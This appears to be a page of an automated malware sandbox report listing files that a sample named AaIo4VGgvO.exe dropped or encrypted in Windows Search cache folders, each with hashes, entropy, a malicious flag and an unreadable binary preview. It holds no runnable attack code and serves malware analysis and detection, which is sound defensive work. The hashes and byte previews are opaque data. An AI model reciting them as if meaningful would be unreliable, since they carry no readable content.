Size (bytes):	217852
Entropy (8bit):	7.584329309421433
Encrypted:	false
SSDEEP:	3072:5gvZX7ZL9H20UzoUBJ5YbIOukpx+eJdOQkJw4mM33hPiCBjCBsIcq0VRfHHEG01d:ULZJYzMbIgJdOXZjCxc81Cdi
MD5:	43D21F1483441EC4F1035656A412D8FF
SHA1:	6F6651A21FEE73720913C1A0DEDC8270808C0A1A
SHA-256:	3766D152A79D9330BA6E92280A6B1065191DE3FB5DBF6FCACF2CFC3372F8D97C
SHA-512:	315A7B1D7CFCD222BA55179B662F690E3C97C51D379B10DBBB4356E9B807DEB22A81EB21B6A54BC679A9E6A962D009E9A28141C330F8C22A3DB992C4A1C9D2EA
Malicious:	true
Preview:	0.0....}.6.+...~3.j9^.....\."....y..4...V..1.k.....CWkoHG.U.U&.v...:...9.)...a..B......+\|..pDW...c....R..M#..E.f.L>..V..5FT.#.>Uc..q...\....?.~y........w..E...I.S.">..C......d...4T.~F.....d.X.fcK.D!..;B...k...............B.....QCS.......6~]..\d0.O....ekiL.G>~.K;.9P....l\.6.H.9.]M.q..]\|.Z..>..#.q#.f....1......a7..T4...h...C[C.....z...$".cU......tV"E.4..p.:.3U6~s.:...O.+...K..c3.]..M=...Dc...Q.8Cf...i...&.GB......>.p.`S".C5.GP..k.N....p......\|.}...v....F.84...$?$....iM........t...-.:'n.T.H..r....8....&..O:%J..`..M.A^.k.%..p....(w...Hd..2.)=.%k....vp:.M.;...."x...v.c...z.D7Ocw;..S.{...;#..$.....Iw....3..1..5ui..{=.8q,..W.\.A.9..+.......K.@.U..Zik...7..M...V.d.i..X../..~...^.z......Y7..._#6`z ...cz....X..,..Ak...p..mK...5{.:.L."V.......>..j..[(........'<x.y9.8.p..+]....;....[$..c.=.j.........?..2.....^q....G.OK..Y.XB.e......`..o.&.d.v-O.z...T}$D..5.G.....'..*....k...0..J?(..+"O}.Q[..n..rk....+FS>W.h.0.N..y.^.....k....+..&.Gz.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.350968571199601
Encrypted:	false
SSDEEP:	3072:+RaTZH+/DmvapZFKg1Vr+t0aAFPCkwDMuy9Yz75cC9ECNEFME3by/pcU74:rH6frOkwDH9zCCNa
MD5:	ACBC744907BF763F565EA42AA39976C6
SHA1:	7147C76A80F0FA823966F433B12E950F45C5DAEF
SHA-256:	620B2783FC080E1C47A9D4696A41E57CEA8E49FF193B5233233A57A256CF7797
SHA-512:	919F026C3E7B6DFAD06A2B7086E0342FB9570ADBFDADDB4FA411F7173075E99A646EBF0F92E0FB69BC37255871D319AB13EB75B925870630B2DD107FBF04DC68
Malicious:	false
Preview:	.......N..e.......d~...1u.[.s.!.$^..<...Q.C..R....<....:ue..+.....3....)........N..kq..p(M.H.(}..=E...M........b......h2.(.%.C..........a..t......}... pd.p..Y.<..n..J..%.x....CA.}`S.j=.E .p.n\|".wa.\.$.z.L%.T{~(..b..).4.. .N.4.bW.\|..!."I. .7.n'.8. ...#......Dh..",..U.\...X.....9n...G1.N...4.q..o..p .&Z.....`.)=.....Es.../..-........W..;c...Sx...Z....N..?.bW..'c....8.x.(.b..r&..g+e.[.......\|v...........G...~z.Jn.m=...?+.{U...e.q.&..1.e..>......&M....o.Rj..e..(4.]...O..Brs...FF.)3..By2Q..=E`h......`~...;/r.S..ea...^Q.V8..j..#.`..we...E...^\i.......HMw%....*".B......Z5...rJ..o{...d)kP4.0X..d.-..(..eLa.ce....=..k,..{.......9..........=.._4.r.>....n..H..{...(..B..G.~.S.<](...'....D..n.!...........J.......A.......c#.t2./`..U..fu.F..Pn......z+.u...].....'[Z`..7...f..c....[....G0.p\|Kn#a].Y=....s.d.L.t..?X5..9[.....Y.'...`....\|[...mNK.x.../.s...L...m..28.......u.@.._...1Y.O..b.d..a.\..S:........G..By..E<.Z.....6..s..,.\...AXoO..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.index

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.65824892798678
Encrypted:	false
SSDEEP:	24576:BsInGYryfsjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSux:H9rLCF8hR3z1rM3lVKSux
MD5:	8C49DF3494D7E28E165C9306F3C9C716
SHA1:	F2F15C3770FA2AEA5F03F8B88D8267A7BF6E25B1
SHA-256:	BCB78EF9324E7E062C066214559AC36FDABEFFCD8B47FE1B8B76846B809FB7B0
SHA-512:	D3265002B25E1FCE698F4078D261EB6D76429FB35D7B73B37696A2E77E1096EECAFDE01F2AB2C7192B4652C3AE8C8261A127F9D16138D8B81C89D0871DE52C69
Malicious:	false
Preview:	Ej..D....b.....W.6.f.qx..b....p<.A.B...x....E2.+r"..4x.....Wx...o.>.....o...w...(6..v..1..P.ua..:........y13$\|:.'.P...0C.. ...:.....r.J]H..4 .@...+-.QO.L...hH.......NV..._7.S.?.{.+.)LF..H!.y..'.W6.....\.^...{%....$L..v2.E..._.Z........s..Q.XX...Xc./.X......-.T&.....QF......7l....7G..$.P......5.~...=m.@=D.2...G..).y';......2......bl:hM.!{.M)Vx.......$T.D.C6}...qL..8>...&....a'2..g..$2..Zu...i...[.2....Fi.P.O.b.y.%<.....&.E....q..S..-.......J...H.`.V-......G......... ....Z%F}..3...Cf9.._.J+s...x...E.....}.'......0.;....X.?.D..os........^..{a...-`F.2.Xj.f.0\|:......\|..D.>xF.B......_.J......#g9.n...0~....o..B.8t.ns...~.3.......9aN..))r.4t.8}......?..{I....gqh.9.hu..)..V..Or~.....'.yU......}../.b..A..V.w......Dn\......x...".+O.G....[:...4.z;..`....:B....?7C^..j......o......D.9=...-......T...D.r....k.....q.....K.6.N.....W+=..0.S.Q&.N{.......f?.Oa.@pk..+r..q.........N...tU..~7..~.....n.>.@x.y....e.......$..R...c.0&....=..n....%qh..5..U^.w..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998004444878354
Encrypted:	true
SSDEEP:	1536:bBJE4k/HZ9/91LKxR3GqxnFkWLpa9lThhwFjy79BVCjYNSP1aLvKx2Ji2JHbvetz:bBJNkb91L63c7TsFQ7XE1Svewi2J7vep
MD5:	6375C5303CCF6D780C842202824A5EA0
SHA1:	3913903689CECB302CE89FA7A84C4B9BF5BFFE97
SHA-256:	798C0163717FFB27E577E052A4D64119955AA1044599E4E142B91C56A8BE5E44
SHA-512:	FD98BF5D0FAC593A975137A9300A9509FFB498905896B3AA7B446FF36C7C285A5E40821221E509FAC3F24765F05142FA2B4FEF762A097B6230619D686B314818
Malicious:	true
Preview:	[{"Sy&:..w..^3~...o.....cG...V...V...\|4.j..9..0pJ.4... jW....f,..^....n...8.X.)..@.K.S..`.ngH. .....g.6.%-G.#...#....H..h..+.?oC.(N..s....k.....4..?.(~sn..,..V.......].A..x.}...f...<.L..6.k.s...e}9H?J.i.:.~.<"./.h.X.x&^.SiU\|..C.uXV..X....@<.W..)....u^<...IG.8?mk..4........x.-..z...^..........Y.g.......f..EyL.j.\.q....v>..i.d.A......>.8W7.K.5vK........U4..w....T.a.N..B]...G4..$......d...U...k..?....F.`s....j..'.....'=}.,.>"2L....Q.U...k=.$d...1..vNH..Y._i.?<\|...R...c.......~.Ohr.ri.3.!........'5...t..AG.....u..."1....2i....h.]..f.mA...3..^.7Q.b>...;....[{..fL....^.\%.0uQ..r..U....&.h&....oW2P.s..j...d..I. ..Xe.N\kvm.(L..Pkm...m..`.ootr.w&...._^u...Ce.......g.5g...;.-..).*./C.h.Y..A.=m(?...h.+Z....,&e.....\.T...j...jN.i;..rmn....K.=.Tz...(..O,....0.vZ_.......Y:...!...N..s..g... .9Q...m.M..o..`...6..S....8mgD...V0...v.6.4...#........3..}54d....hd~.......2.F../..T.#....S...I`w.Y!7..vU5....R....Mr?...1.[..sc.C%`..E...M.....ag.zy.8.v

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998137721421344
Encrypted:	true
SSDEEP:	3072:JeyQGMv2wF4ZTkPHVQ4Pj8GMubEgodCP8Vz:rQ6f2P1rj8GMuDom8p
MD5:	CB60096557656F2EADE3924DA084502A
SHA1:	58902F449CB922DD45E287284D193B53E4E7E898
SHA-256:	B163E34F153268BC9FF2D4440B57BFD0B88A4B0F2C9C6ED950C656F6F604EBFF
SHA-512:	F2EF1F7D4472D801A380C56595F51E271BA6399EFC24AD0984B1D6265B9B2501026FF715EDE957666A971AE6D78017C46C24AAAF9591DC5B8276BAF84820C27C
Malicious:	true
Preview:	[{"Sy..3...Y..n.=.zG...6.-.i........."...~^%...!..L.7U..d.u...='...Nv...... .....tv.x..f..0.Y$.M....T_m:.......!T\.....lN.....w..J.t.y.a..O.i.@..`p(.\|<...rm4...}...............UF....u.,.LP1.l."....i.Dn.g.....=..Y.E....tV....J_..8E.OA...'[.....%...My........9.....~.G../......'........s.R...t......Q..O....\.,@...&-...I2.T..-lFu.o.8.......m....U.......c.....G2.0.NW..x..#.I6.7.nWF.1...e....j....a.Xu............bC....au.V.J.....R...P..Um..7..$.H^V.N7gb.....g..$aP..t^..<....M...sH.....wx.=;C.*....3.7.Q.iU.3.0w..FD[..n.3.....+.... ...g.....Wu..d...y.A+.37..C...}. 19..g...._...bs.5.A..c4.e...te.R@a\|:........1NL.7...T..?.Wr6./.z..x......}.......{.}.\|w>.M...xB...ZM...d9k..tHk..uq...C..WTm......G.......u..B].....}..J!q..GP...X....1s`.m{>...{.......h^c...C..e...tB......iS.i...[....G.~..(Wm..........38........<W.v...\|.....(.D.%[p..^.Xb......0..`...O.#>0.U..n..0../}.k..A..^.v.f.m"~6yEw...(v.^+-.#.R..y..`.'.....)..c)I....`....sr.8.........-.r.mu

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998208214610613
Encrypted:	true
SSDEEP:	3072:JeKDn6hlC0lpM2IsXu1ZDVAXO+u7IDmTQCX7xHfeaQ3i:sKWLFlC2IFBP+uUAQ+R2q
MD5:	7AB6CF6A5CC5647E551F9A4891DDADD0
SHA1:	AE24D42CB970C9F12AA541DC593662CC7F89E306
SHA-256:	BBE5EDD953C3BC42BF0B9DF08D91C0E51DEC3F1D13D8BE74C93E5F4C9EA597C0
SHA-512:	AF5C5882483B9E514C3003E08591BA85D4DA7BE396E16A4D302F4ABAE7C8D5262E68EFD70C0B2B35C7CFA36CC5B1FF4DF66EDFB0C05A9C3819A0BCDF285644C9
Malicious:	true
Preview:	[{"SyE:\`..q:.....9.,..5?%..Y....."}....n.d..u7{.z..8....."7PW?..m...z..A...{..r%A.0..(.....g>...X..tHd..r.P...J...Yd.&M$.z.jy9..W4<.....g..~G..u....+.....s).r...DXN...y..^..1.3t.5&..,EM.Z:.h.UoW8Z.......}..<....`.Zs5e..!e..el..4i.x.h\|....A..n&.M....l=....C.K.... ..( .-.yE.J<7Jf....8+....4!..$.}....#..xF.L.l%...).o.,h U.R7..7uO#3......:.....;P.x....0&0OJ.....$PDo.=L.../...$A.k...}....^M.0...ul.W.G..~(..@....\|.....+0.......a<..I..U...fwy~.y.V!n.(u....}EF.t/..tc.w<.......Y..@.j.....%g....4h Vy[...L1V....R{DZ./.\5.n.YM..!Y......K(.@/.}P..rW.r.8... .mG+Os..0.A.%. .x6...s...._...#......5i%.....\.P...i..CFts.]. .>@./...C+i...t1..X.."0L{..D.^.........A...._....33>...`./......@.......n.}...C..'.x)...UfR)..{N.V..;...M2......Fu..o.U.(..:a...V.r-..qZ./a...q.w.k...Z[...W...Sl}'..."..:.u...)F..s&....-..;E..kz........]g.d....@...t.....A.6.T.!0..T._..}z.a.E...;.. 3.........]].o.h.2.5.9{.`......T..p....A.d.."..h1;r`*B.......B...uXo&..1...F....&.js

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998487200023368
Encrypted:	true
SSDEEP:	3072:ZcUprWmRK3eDSYyZfiXYqtas7G92LPp0gDVe:x5lmeDEluesPTe
MD5:	5F495F22F7C57D9E150CE47776A28EC5
SHA1:	77A3FF40B361608759A884A5D1E603F26BA39E59
SHA-256:	D0DCACDE771B5266CE58F1E2272414B06BF13ECAE2CE22FCD00BEE8D14D487AA
SHA-512:	AFD11CCCFAA01CAEBA9FF3921CD9C54FE258A2AA73A684A76DAA7A251B6B652DE959BC925BBB7AACB49AC434B15604CEDC3F26912357146F8A1772CAFD15BAC2
Malicious:	true
Preview:	[{"Sybr.UA.>M...g...e.Q...6..6.....p:LR}......^.;.D..]...7.hG.8P........6.+]-.V....f<......."..5/...91.D.....?.3...p...M.G.xR....f..z.1.^.&...F.k..A.[...#F.H).E7P..iJ..F.g...a..s..<WC...<.`1>m;.0.....[.O.P.xjlb7.^_.NOG;g..3i.....dO...;l.....6:F.....L..<<.84..7")."Z....J.9..}ML.V..N^B.m.9;.t.mS..T....8...Ynt..#..T.....%....q.....E...H2....+.....i.Z.......7#...`..".)T.bk.uE.3.q.R..\|DX.w...Q.-....Q'.M.H2$@.J.j..R.3.,.k..u.gm.k\......x....f..,{.j.... \|..O.U..9.......p..i.T. .U....}...5E..T...V.....,w.).}pW....E-\..`..B.C.ix0Pf~..U...4.)(F..<...d.R.._^..o....7....a....:.9.M.8M.$<....a.IA.LyC../..,..L8rG.h....c.D<.Ri..-Bi......@............T0....XTe5.Kk.T..z@kn{.;.U..q...0.V..N}e....eh..g..hy.=%\|.#q~...U.6p-......C.7R.F......Q}rk..:lu..[....o).id,.2..~.....~.c...n..{....$.............tm...Z..B..b.....4...hb..b..o..YO...:..5...........z.X..B3.D.7..0......Ua.16.\|.......j6...1.j.c....!...-........%....3]l]..a_.{#K...V...C<,B..&J....\.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.9983389379831165
Encrypted:	true
SSDEEP:	3072:EBM+xHmDdL/0l1QZEqEgz+bP54ot0Zo6j:emRQxgzo5o5
MD5:	27D3E852E1E96A483B8F628095B9A895
SHA1:	B721ED38E3162C7075DC7269AA6B2C248417E461
SHA-256:	DA228D4F385B32C25280680490F5DB95BCA489806CE088CFB27AABF740863693
SHA-512:	D4A1196DED49D58F0B5753D81B5091BA445F09CF70B04C1029018E12819C512C79D395C82EDF9C4EDA1F45AC3A7D4D9C7B6712FA447455E6332F3A4D1323A8AC
Malicious:	true
Preview:	[{"Sy9+rY.)\|....<....!L...../,mk..d}........&..Zr.....k......K...!C..~...@.....K..$....o....!..E._eQ2.e.^tIQ..o@...D...r.n..`X...d.#.<.8._.\A.W.....y..?7y..?)X.(\......./....%s..%...}p..-....`...v.p...c..J........_....l....d.c>.C.X".8..n..T..?...b.E]XD5....l...6.}.......;]?.......<8b...UI....V......s6@.......Y'n..H~.d..O&dHbiA...(......k}.G_......S>....o"=...Nq..\...8.....ItXb.t.9.8..boW.U.^MeuTc..0.k....H]x...{...\|f.....F...t...4....K.A(.......'....K...D....Q .,v.......`.`......X...8.V.<......J.#..nVe0..,..[X._...-#{..Iy.B$./...R[...\|m.....n..U...!.....Cc.^...j.gh%h.......F.A..p.m3,A6.{.M8M=^.v.:..$...K:...(.X...-".`..A......Ch~...0+....,.....%.X.Q(.....7...P..i..m#._..d.=......F.GC#.)...QE?....`.....[.....T.ZB.....vlo..l....F.!.qg.....oq..{.C.9<2_..Y1..8:2..mN.k........-..~?c.\|........@.UV.q\.....\|......^"lL..S.K[.%Q.!n.0...O..sQ...<J..g.+.U.*..5..BO.......8......!:...jw..Z.....62.l..3.0. .j.....`h..iu.....4D...<yp<.c.{..K.=...`.P..V..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	117246
Entropy (8bit):	7.9982894302082
Encrypted:	true
SSDEEP:	3072:Pwy9dqvWZ5rYdhxzMNhrvv+ffCkvZNtT10cjurPK/zA3:Pwy9kOFY+13+ffCkXODB3
MD5:	D05AECAC79DDAAD150A7C905EF975B27
SHA1:	972618D604801F1359FB5FF55EF2EC1F1F8B6474
SHA-256:	71B6ACB4716B8C70EB70E15A2DEDC334E498883C7102967FA4D679EEE5D5789E
SHA-512:	EB0B936AB9CA1540C3ECFFDF45E6451A9CCC23B0229592D744AD9B1FB69C6B3EDD95E0024F4338228A947A45374DB3094054865FBC5D599310E02CC5D5A6D015
Malicious:	true
Preview:	[{"Sy"....".-.....F...L....f...#L.l/.CqC...o.....1.w#..Chd.J..(.....V"......L..F.T...F.MP.O....U,k.........yx.U6..#...>..+..L..~]....DjO$q......'..@.....B...f...........+..D..Z%..'.4\|<....e.l!.U...............FA.a...E..c...hW_wV.Qz{].)...B..>.....m\|...W.y.Gs?...Q.\|....M....,z.u....14.;.z..U$..#......P.n.4.zw..-ka.:.X:H.G.#.....1.5.nZd....Ye..PL.%.4f...j.A..x.L.$.^.29..t.....9j?.#v.y{.........j...O..e....^n..^-w.].M...C.0...M3.]5e.=KV...I.W..t.d......On.j.x......'.A..*.....\}\|.$2...(.h..y......[...EiL.:.@Y}.UE...}5."H.e.Y...$.=.]I.4..K..].kx.{Y...G~WSY....eb..l.t..)....:.U....;..^.g........s..\...]..1.....>..8..........V../...>..S^W.l...z...v.q7'...nF.9..3.....R..7].88..v..=.F.}...4x.yY...Q...1...z,...E.J..O...i..3>za4R....k....,s.Y.1......E{\.X...M...>....C...o....l.L...M%..........D....[....qn@......j.y.q......:.\1...y.Y..s%8"V.av.KP{n `\|V.}.Hao...(s......y..h..A>.+Co..D.l...{.-.....V.......^7....u..ub.E...F..AQ..e.Q..+.(

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	116817
Entropy (8bit):	7.9981300007298195
Encrypted:	true
SSDEEP:	3072:t+VTu2Uz5Pq0hfPhIdS/pkITeTyy6rJXCf:0UlSMIdyp5STyO
MD5:	D8C04EDDDCDF9EC0A6C49F70C1DC64E5
SHA1:	D546B163EE322C89C2D6B7401DCB3FB6850CFBDE
SHA-256:	1D96147A5359577E8585924C0530E071134DE15E723E85376E33C146F0D557DA
SHA-512:	5AD680731E18473AB327BDD109B347B168AE36E0783EDB3CBC522093A67741051D60E56A3C7DD43BE495C002AF150DA7D6316FFB1DE28D7FB48817F14066BB9F
Malicious:	true
Preview:	[{"Sy..t3....YZ.I+.g.isng..n..9@.l.1=.....FC......)..i.<...:..A.~.p..9m..'....=.(+9y\|.}RZ.l.@....;vk.....19.C.&..a5....~.(...!...Z.C..S..c.6....L..d..7.."g......?4..x...,...S...x3'..7Z..Tt...Cpn..f.....'.K%./.i...3>....6....C..3.U...K.V....e..a..n.........Mh.......3.."..l2..n...i.q....qfGP......`}.,.~...&k...r3.a.........gk.:.....-7...H..u.._..>.. .l....v..y..E..H;-....Lr.."..q}...$..U..U.cqg.W............9..%U\......`D..]N...,bL<.HzEo$.+.......;..\.g.c......D.{.i~{H.E{t{...u.0;.....cA..h.c.if...'`.96....q...[.._.86..b-.R.(.@c..[..R\|q.W.G...R.....A...o).L......gn..}]X;6b..y)......b...M.a...?...Jj..u.>.7..~....v..]..z.u.. g..x.u.(g..f......r....`]......&"F....f.jY..,.n.D.\|..Y.wl.`mA..K}Jy..M.._...&@..L\|..8.{...&...P$...W...t.?.O...5@4.@b.......!..T..%.L..R0...u...1cW..*4._hB8[..${....U;}...i$.(0.V!Ye......N.ep. ...Q...5.n\|M.3@o..s$1.r..c..@...........-.>.....c.h.X.U.-1.=.....`.^..l.... ..;B.kk\.uu..:H.C.E..8...Z[.=n.0...E..<.%..f.~<

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945540884124.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.9981858800448515
Encrypted:	true
SSDEEP:	3072:EJvE9x+clKmJJ20F++b+kzRoe9nr7BeGhb6y6I5e6wZTQMaX:L9xDYmz20FLb+89nrhbfefu
MD5:	01363915516E703A9F5F2DB11B7914EC
SHA1:	7A08FA571B0F89FA17D1CFAA60F1DB3842DA20E3
SHA-256:	E26A3369E848E6442F461E123FACB0DEF8223E1F38EB5D417F9367566E2D4CA1
SHA-512:	24F73A2DDE5FDA70F7E3769E80F4CC11D6A070EEA5A473D8FE5A85EE3D4F685161A33B4900ED8C7CF6C7415B42A2B1366893C3B4E28151ADB09C81CABE30ECC7
Malicious:	true
Preview:	[{"Sy....kU..<:....X$.c.d..z. ..D..HD....._N...r........(..5..F../OA.q.B...1..-...wO.#.STt..@.......G....7.l`.6...r.....u.....9....%.H#J...R....m.nw.j}YEx.C....#.....i.Q:....K3i...-k..Cp<..U....n........>_...>...,.:..-.6........@1.l.X.k..m....?H.lx...T.k.!c...o....g../ c.....Z..Al.A.E....b.T.J.@...xc{,.9C\.K.Z..W .C[.......)b.......Y.9=`oXD...&.bU...31..#...Z.u.^.S.a...`~.3T..*c.n=.O...wX2.....$...V.^^.Z.[.[..Ax3cr3Rk.y....3.D......7`.../..1...\|&..0...L.R..u...18p"$.=}"..G.}.d..mC].......e..7.r../....Mt....jz..7.......& .....s.)...V.D...@..O....`.ry.<D.....)..r.!_.6.2..........LUN.<..Q.C+.eA.t4..f/..#K.....RN........i7..9......7......:-.G.J.!_t.H.E....f...... vL`?...=`b.^.f..$v.-.D...:.p....!.. ....{..p........[....n..x.}Y&..l.g..t..p>G0...l..U.!.@+..6..j.`...E#.....I..y.!....?.Pw.y....7.G.C....%.... .h..W.G.\...._.0....Sx..]..P...o.....D.$\%R1.V........,.....@.3=.....s.3b.s.6..,n..#..4=....^.G..+{..0.m.(w.c9..~.ruw..P.m4.f:...@!..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133583770337995506.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	114612
Entropy (8bit):	7.998437547071201
Encrypted:	true
SSDEEP:	3072:IHSVmK2sRoT5k+mzYNl0prNtjwQ6EQnqznVZlr2/8O1:sSoKnWk+IYL0prNtjzQnqzV7r29
MD5:	9461FF66F9025128FA6E5086A21EC8B5
SHA1:	0632A54D44E59A1C2D9AF79EF4A8C12C94E9ADEC
SHA-256:	F004071466EBE7AD3D1D89C101978D2C4AA69AA45B3A6636E49BD05C73EA971C
SHA-512:	322329738DA289269D7580AE67E681F7FF57CC49068D8CFE4ECF3A17F584D405870D14AAE72107FA89C8C1460A3292F2F9CC1FD3373E83FDF7947C76F9E383C6
Malicious:	true
Preview:	[{"Sy/...I...'..;h:.8.zGC....U4R.~.1...EJ..7..{`P....C...q.....<n.....{..\.5Nt...e.U..$..3....FZ..v....$.F....Y.9.].v...M..N9....Z..E.Mv{.)...mdkK..~/F....4..l($(}Xc.\...._..m).e\|M...Le..9....7G.1_3.?y...l....sI.V6..Zb..fim.R.W. ......(...o.NX4..1.nwNQM...(.-~......e.%!.5K.<.i.WR. EdV.G<...;.......Lp..)..b.....P....#.2./wq......u....^..kO.5..,..w5.A).r.......\|...M(.}.....[.......)..Dx.!,I...TZ.4."....K..<zz...h..U..=..3L.....(.././.#e.......d.J.yJ1.~)..JRp...]v4.6..`n".\|.7..L.Tf?.`....h. ...j..I..0.c]s.;....F....I.8.x.Ug....W.Y.%J<v...UQ..`..r...b...,..M...."6s.V....6..Nw&1B..(.w.......(6.h..%..w<..w,.{n..$zk{..H...v'...Y\|.t.....j...x$..n..m..]..O...{^.~..L.....I.Op<$BRh......5(3...Al....S[..c.).z5.%B.!...w].t.a-..TYD..<.W.D.(.N...a(.R.[AHw..}u.mL..@..T.R..\|..H..W.Y.7`L..V....*.....,i{..=...)..T...i.....D..Uj.b.!.`.-...!,...Sn9U.t.....z>.6.j.!j..L.Pu-.o.aR.\7.z.,.v6.C..E..F'....{2.O..8h....IX.5..i/..S;...a;DB......<$^.....&.....).j

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.209279914678266
Encrypted:	false
SSDEEP:	12288:s8kaTlRud4PilEoGotdYuMOCc5MpzgroTDLgg:sVOlE48m1uMOCc5MpzgroTDLt
MD5:	C9958B3B16F7FCC0DC29CC7780D82845
SHA1:	07B4CF8550F4685F1D115C48CA5822731802B762
SHA-256:	A4138A216AA62ADF196D2C48FAFF19DCFDD85CF696CD6DE9ADF532B6AFC06584
SHA-512:	FF76D73D6A77B400A65A6B072FB66162420BEDBDA39CB52FC1E87A43740031B558BA84C48C2A1CEC392EFAD19AC3C51CB8BD07166B5B066A25CC885EB49FAE4A
Malicious:	true
Preview:	[{"Sy........p.Q.N16..L.....w..3a. 9_.T..0....D...3....p&..2..Mm....%Zz\WP./.+...4...@..A.B.Y.T..#>..m.W.B..y{.e...k.4..+r5..$....'....9. ..+...e.m....v...:......C.=...hE...C.<O\..=..Y.}X.....Xb..uZ{R....,.o.A`...`BOO....0\|.....n.....%.Pb~s.&.3K..N\|)....v\|z.^..J../{.Z....^.4.QH._KX.7..Y-.Y.A.Xd.&...nzR...K.4.....G.Bw.BV....]E..o.W@&f......]@.V.z.tY.%..M...='.L...^~v......H.]Q-.....?......^dC..;w..%...a.. .V.\|.@.b'S...U..E.sR.7@C...w.4.....P_fjcxU..-....Z.^V'6....^..=o.,J....'l..O1=....%.....By.w..P+G..e..#..h....G&v.h..7.g..tR..U7.H.U.z%..+....d......$&.G.c.P.U.fj..,~...X...w..vw....CI......F}./...X3k...V ^@/5T.'...\...KA..S{8v..3L{.....K\|.M$..6.n...4....:@.....$..J\...E7.ed.:<.$..oTpnE.....I.'.8\>.....I....}o4.........V..P]..,-}....y...QY.y.s.d.Y..JEN......E\|.rL(..~.qg.fu....2A9.C..Tk{....$.nB...Y.{.nN.V......W.=...,..n.?.oe...P....Z.......Oy..>..\|.e..D.w.,...'....>.R...X...+p.}.Zo.G..D.....F\..p.?~.....%...XS....$.p.O`t...4.'s).l.=P..YW..?l..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	7458
Entropy (8bit):	7.974237664585402
Encrypted:	false
SSDEEP:	192:YO5gda6v+X8jszKtIncEtYxRjry+o3iX1j8DGxKvpc3:YO5f6GXoszK9Et2RjGdiX1j8DG/3
MD5:	0E5A304D0C75B47918BF259341200550
SHA1:	E2A8CEDC10B1D99919883C58EC74A4C847B22327
SHA-256:	11BAB4E56F57F66D89F258D334D438F3CA35DFF74C44E2EFDCA581DBA567A2BD
SHA-512:	579FC0B7E7D94E27C2FE8CD43CB1C839B50C89B7303DE41539A9F0C858D8E281D98FBF1AF452253BB86B22BB180F5863D3AF08254395356A045038B227BAA7FA
Malicious:	false
